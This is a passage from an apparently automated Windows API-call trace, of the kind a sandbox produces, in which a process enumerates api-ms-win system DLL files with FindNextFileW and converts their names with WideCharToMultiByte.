lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1d7c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0031.330] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1d7c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0031.330] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x1d7c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0031.330] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1d7c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0031.331] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x1d7c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0031.331] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1d7c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0031.331] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.331] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.331] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.331] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d7c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0031.331] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1d7c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0031.331] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x1d7c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0031.332] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.332] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x1d7c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0031.332] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1d7c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0031.332] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d7c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0031.332] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1d7c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0031.332] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1d7c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0031.332] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d7c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0031.332] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0031.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d7c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0031.333] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0031.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1d7c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0031.333] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, 